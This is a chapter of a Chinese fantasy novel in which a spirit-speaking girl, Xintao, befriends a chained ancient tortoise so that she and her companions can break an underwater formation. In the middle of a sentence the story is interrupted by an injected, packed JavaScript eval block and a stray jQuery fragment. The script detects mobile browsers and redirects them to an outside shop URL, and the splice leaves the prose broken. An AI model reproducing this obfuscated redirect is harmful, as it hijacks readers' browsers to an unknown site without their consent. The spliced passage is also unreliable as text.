无数刀刃一样的风刀自树笼里飞出,将树笼多处斩断,但树木生长生生不息,被斩断的地方又有新的树枝生长出来将树笼修补完整。
玄龟一边躲避天雷,一边破坏树笼,应接不暇,恰在这时,天雷滚滚,不断地朝玄龟劈下,雷电落入水中发出滋滋的声音,那风刀再也飞不出来,玄龟被天雷击中往水底倒去。
“欣桃!”
在岁除一声大喊前,欣桃已经看准时机,御风飞去。
她凝聚灵力吹奏通灵曲,只听婉转的笛音一起,一群幽蓝的灵骤现,如蝴蝶飞舞汇聚,形成一条纽带链接了欣桃与玄龟的神识。
水下昏迷的玄龟陷入了梦境,它感觉到有一双温暖的手在轻柔地抚摸它的头顶。
接着,温言软语一样的歌声飘进它的脑海里,它看到暖阳落在了海面,微光随着水面晃动。
它回到了东海,此刻就在躺在水面上摇摇摆摆地晒着暖暖的太阳。流动的海水轻柔地拍打在他的背甲上,就像方才那双温柔抚摸它的手。
天上偶尔有海鸥飞过,海风咸咸地吹,像一首悠扬的歌,也与自己现在听到的一模一样。
“你是谁?你怎么知道我以前的事?”玄龟虽然陷入梦境,却也意识到自己身处梦境,并有人窥视着它的梦。
“我是欣桃,一个喜欢与万物生灵交谈的女孩。你又是谁?为什么会被困在这里?”欣桃的声音很轻,像平缓的流水,没有一丝恶意。
玄龟感觉到一丝亲切,暂时放下戒备。它是上古玄龟后裔,自然也知道这世间有会通灵的仙人。通灵者,皆是与灵友好者。她不会伤害它,还能与它说说话解解闷。
玄龟渐渐回想起自己被困在这里的原因,悲从中来,竟落了泪。“我一时贪玩,引发海啸,淹死了不少人。可我也不是故意的,那屠苏老头却追着我问罪,缠着我与他打架。我没打赢,只好答应帮他做一件事。没想到他把我骗到这里来,给他守阵!”
玄龟说着说着哭了起来,“呜呜呜,我在这里帮他守了六百年,他离开后一天都没有回来看过我!这里的臭鱼烂虾我都吃腻了!我要回东海!”
“还有!我就打了个盹,这帮臭鱼烂虾就在我身上吃喝拉撒盖房子,等我醒来,赶也赶不走!我真的是,活得太衰了!”
欣桃微微一愣,这不活脱脱一个做错事受罚的熊孩子吗?而听它语气,与那名叫屠苏的仙人也并非仇深似海。
“你会回到东海的。”
“真的?”
“当然。你是上古神兽玄龟的后裔,本就属于东海,终有一天当然会回到东海去!”
“你说得对,我一定会回去的!”
“只是你口中的屠苏老头是何人?他为何要你留在此地守阵?”
“为何要守这个阵我也不清楚。不过那屠苏老头我清楚得很,他就一个老不死的小白脸,虽然看着年轻,但我知道他比我还老!我就算活了上千年,对他来说都算小屁孩!”
欣桃炸了眨眼睛,因它的话险些吹错音。
其实欣桃早便猜到它口中的屠苏老头就是幻境里看到的绣月庭的仙人。狐妖和它一样,一个因为嫉妒故意杀害一人性命受罚困于秘境,一个因为过失杀害多人性命受罚困于水底守阵。
那仙人没有直接取他们性命,反而用这种方式惩罚他们,如此大费周折,欣桃隐隐觉得,是出于恻隐之心,也是早有预谋。
而他的目的到底是什么?那秀月秘境里,究竟有什么让人如此忌惮?解郁草,虽说是为上古神兽治病的一味草药,珍贵难得,但也没有必要如此防护。
“你知道他去哪里了吗?”欣桃猜想,这位屠苏仙人必然是秘境的守护者,若能找到他一问,便能一清二楚。
“我怎么知道他去哪里了?等我出来,第一件事就是去找他算账!”玄龟愤愤不平。
“但是你打不赢他。”欣桃见它不过小孩心性,有些可爱,忍不住逗弄他。
它果然下一秒便哭了。
“哇呜呜呜呜......”
“别哭了,此阵截断了河流,我与我的同伴正想破解此阵恢复河流,你也可借此摆脱束缚,你可愿帮助我们?”
“你们要破此阵?刚才那两个臭小子是你的同伴?”一提到岁除和若风,玄龟就恼怒不已,心想若不是自己被困在这里六百年,四足被锁链牵制,怎么可能输给这两个后辈!
“是的。只是破解此阵还需知道阵眼的关键所在,你知道阵眼的具体位置吗?”
玄龟气愤不已,“不知道!我对阵法毫无研究。就是因为这个才吃了那屠苏那老头子的大亏!当初在东海那场打斗,要不是他以阵法设下圈套,我也不至于输!”
欣桃心想,这玄龟心性单纯,脾性莽撞,被困在此地六百多年,不心生怨恨是不可能的。
而怨恨蚀心,经年累月就有可能滋生心魔。
但若能消减它心里的怨恨,心魔便能消除,因此助它恢复神智冷静下来,与当初受魔气感染的独角虎猫的方法不同。
只需宽慰它,放它自由便可。
经过此番交谈,它的情绪应该已经冷静下来。
“那你得配合我们,我与我的同伴会寻找办法破解此阵,助你出来。”
“那两个臭小子能信?”玄龟心想,他们一来就合伙将它打了一顿,如此蛮不讲理……等等,好像是自己误以为是屠苏老头回来了,先动的手!
“当然可以!我的同伴对阵法颇有研究,此前这里的降雨阵就是我们一起破解的。”
“之前这里的降雨也是因阵法形成的?”它还以为是上天都觉得它被困在这里,可怜得很,同情它呢!
欣桃讶异,“你不知道?”它连这个都不知道,怪不得被会被困在这里,还生出怨气来!
玄龟不想承认,但刚才已经暴露,也就只好道:“行,我就姑且相信你们。与你们暂且休战。”
得了玄龟的应允,欣桃收回神识,将与玄龟了解到的一切告诉了岁除和若风。
岁除与若风听后,收了法术,与欣桃一同潜入水下。
玄龟就安安静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597567|203607||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
静地趴在阵法边,见他们来了,抖了一下腿,拉动将自己四只锁住的锁链,锁链与雕刻满咒文的石板摩擦,即便在水下也发出嚓嚓的声音。
“这可是上古时期的万年玄铁所铸成的锁链,你们最大的也不过百来岁的毛头小子,能有什么办法将其砍断?”此时近距离观察欣桃三人,玄龟觉得自己方才的决定有些愚蠢。
岁除与若风不急也不恼,他们先去查看了一下石板,而后便明白了破解阵法的关键。
岁除先前与欣桃一起下来探查的时候并未见到这些锁链,便又与若风一起游过去将四条锁链的从头到尾仔细观察,而后在其中两条锁链连接石板的位置,找到了他们要寻找的两处凹槽。
两人都没有做声,相互对视一眼后,岁除开口道:“即便是万年玄铁,要砍断也不是没有办法,只是我们今日消耗灵力太多,需得修养一日,恢复灵力才能动手。”
“你们是想逃跑!”口气大到完全忘了方才是谁被打到昏迷。
“我们若想跑,方才你昏迷的时候就可以。”岁除冷眸提醒,但也知道,即便刚才占了上风,玄龟若拼死一搏,他们也是凶多吉少。
方才的两次较量,双方都深知对方的实力,便没有急着动手。
此时目光对峙,剑拔弩张,欣桃感觉到水中有灵在慢慢荡开。
她连忙游到双方中间,“要不我留下?”转头与玄龟道:“帮你清洗一下后背如何?”
“不行!”
“好!”
“不行!”岁除再次怒道。眨眼间就游到欣桃身前,还抓住她的手腕。
“你这毛头小子,敢在龟爷爷面前如此嚣张,我就算不能离开这里,也要把你......”
欣桃感觉到水流加速,忙道:“哎,龟爷爷,别生气!别生气!你放心,他做不了我的主!”
“欣桃!”岁除回身看她,却是一时语塞。
欣桃甩开岁除的手不成,也顾不得恼他,扒拉他借过,探出半个身子与玄龟笑道:“我一定留下给你洗背,保准给你洗得干干净净,恢复你原来威武霸气的模样!”
玄龟顿时被欣桃夸到了心坎里,“小丫头,我喜欢你!毛头小子,你还不放手?”
感觉到水流减慢,欣桃安下心回过头应对岁除,“你放开。你能不能别老是突然来抓着我?”若是真有危险也罢了,她必然会感激他的保护,但此刻他的担心,毫无理由。
从到设法破解阵法开始,他便一直护着她,处处小心谨慎,察觉到一点危险就挡在她面前。但也过于担心了吧!这让她觉得,他在瞧不起自己!
“我是百兽谷少主,御兽通灵是我的本事,即便是上古神兽也难不倒我。我留在这里,你也好回去做该做的事,你拦着我是不相信我?”
“岁除,你便让欣桃留下吧。她应付得来,你得相信她。”若风笑道。
“我,我只是担心你。”岁除也觉得自己最近的行为不同寻常,他的身体在他还没有理清其中利害关系之前,就已经不自觉地护在了欣桃身侧。